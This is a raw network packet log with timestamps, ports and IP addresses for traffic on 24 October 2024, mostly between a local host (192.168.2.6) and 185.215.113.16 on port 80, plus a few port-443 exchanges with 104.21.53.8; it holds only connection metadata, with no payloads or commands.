Oct 24, 2024 04:58:21.374109030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.374142885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.374176025 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.374182940 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.374195099 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.374209881 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.374244928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.374311924 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.381454945 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.381486893 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.381540060 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.381547928 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.381572962 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.381608963 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.381620884 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.381660938 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.381797075 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.381850958 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.381884098 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.381897926 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.381920099 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.381943941 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.382005930 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.382039070 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.382049084 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.382083893 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.382209063 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.382261038 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.382296085 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.382307053 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.382329941 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.382342100 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.382366896 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.382371902 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.382405043 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.382683039 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.382718086 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.382750034 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.382761955 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.382795095 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.382930994 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.382963896 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.382972002 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.382997990 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.383007050 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.383030891 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.383038998 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.383068085 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.383073092 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.383137941 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.383497000 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.383531094 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.383544922 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.383564949 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.383577108 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.383606911 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.425399065 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.425426960 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.425442934 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.425451040 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.425472021 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.425482988 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.498420000 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.498477936 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.498481989 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.498512983 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.498527050 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.498548031 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.498581886 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.498594999 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.498621941 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.498653889 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.498696089 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.498708010 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.498742104 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.498748064 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.498785019 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.498951912 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.498985052 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.498995066 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.499026060 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.499027967 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.499062061 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.499066114 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.499104023 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.499270916 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.499305010 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.499339104 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.499346018 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.499357939 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.499392033 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.499399900 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.499433041 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.499617100 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.499666929 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.499672890 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.499706984 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.499713898 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.499742031 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.499747992 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.499782085 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.499953032 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.500005007 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.500040054 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.500051022 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.500073910 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.500083923 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.500108957 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.500154018 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.539908886 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.539948940 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.539978027 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.539983034 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.539988995 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.540023088 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.541413069 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.541443110 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.541471004 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.541476011 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.541486979 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.541508913 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.541515112 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.541554928 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.555170059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.555224895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.555274963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.555275917 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.555310011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.555362940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.555396080 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.555402040 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.555430889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.555442095 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.555465937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.555501938 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.555515051 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.555620909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.555663109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.555665970 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.555697918 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.555730104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.555740118 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.555764914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.555799007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.555809021 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.555830956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.555865049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.555907965 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.563420057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.563453913 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.563487053 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.563510895 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.563544035 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.613748074 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.613790989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.613826990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.613861084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.613895893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.613899946 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.613929987 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.615257025 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.615291119 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.615341902 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.615341902 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.615349054 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.615382910 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.615384102 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.615416050 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.615428925 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.615449905 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.615459919 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.615488052 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.615669012 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.615704060 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.615725994 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.615737915 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.615756035 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.615772963 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.615781069 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.615813971 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.615926027 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.615983009 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.616004944 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.616015911 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.616024971 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.616050005 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.616060019 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.616085052 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.616091013 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.616132975 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.616434097 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.616485119 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.616486073 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.616519928 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.616527081 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.616552114 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.616563082 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.616585016 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.616596937 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.616621971 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.616631985 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.616744041 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.616992950 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.617023945 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.617072105 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.617108107 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.617141008 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.617176056 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.617178917 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.617206097 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.617213964 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.642463923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.642497063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.642529964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.642565012 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.642566919 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.642591953 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.656728983 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.656764984 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.656800032 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.656816006 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.656816959 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.656872034 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.658318043 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.658353090 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.658376932 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.658386946 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.658427000 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.665854931 CEST	443	50003	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:21.666074991 CEST	50003	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:21.667363882 CEST	50003	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:21.667377949 CEST	443	50003	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:21.667607069 CEST	443	50003	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:21.668833971 CEST	50003	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:21.668915033 CEST	50003	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:21.668941975 CEST	443	50003	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:21.675029039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.675069094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.675086021 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.682631016 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.682687998 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.682724953 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.682734966 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.682809114 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.732280016 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.732337952 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.732371092 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.732403040 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.732407093 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.732438087 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.732460976 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.732620955 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.732650042 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.732676029 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.732682943 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.732696056 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.732718945 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.732748032 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.732753992 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.732764006 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.732788086 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.732798100 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.732825041 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.732831001 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.732861996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.732875109 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.732894897 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.732928038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.732979059 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.732980967 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.733031988 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.733064890 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.733093977 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.733103037 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.733108044 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.733135939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.733150959 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.733174086 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.733207941 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.733238935 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.733241081 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.733252048 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.733273983 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.733283043 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.733308077 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.733318090 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.733434916 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.733544111 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.733577013 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.733629942 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.733629942 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.733661890 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.733695984 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.733710051 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.733727932 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.733762026 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.733762026 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.733788013 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.733791113 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.733818054 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.733836889 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.734261036 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.734291077 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.734314919 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.734330893 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.762046099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.762075901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.762089968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.762121916 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.773562908 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.773618937 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.773618937 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.773648977 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.773668051 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.773682117 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.773689985 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.773849964 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.775166035 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.775218964 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.775222063 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.775249004 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.775262117 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.775284052 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.775295973 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.775336027 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.801961899 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.801983118 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.801992893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.802009106 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.802030087 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.802042961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.802053928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.802062035 CEST	80	49774	185.215.113.16	192.168.2.6
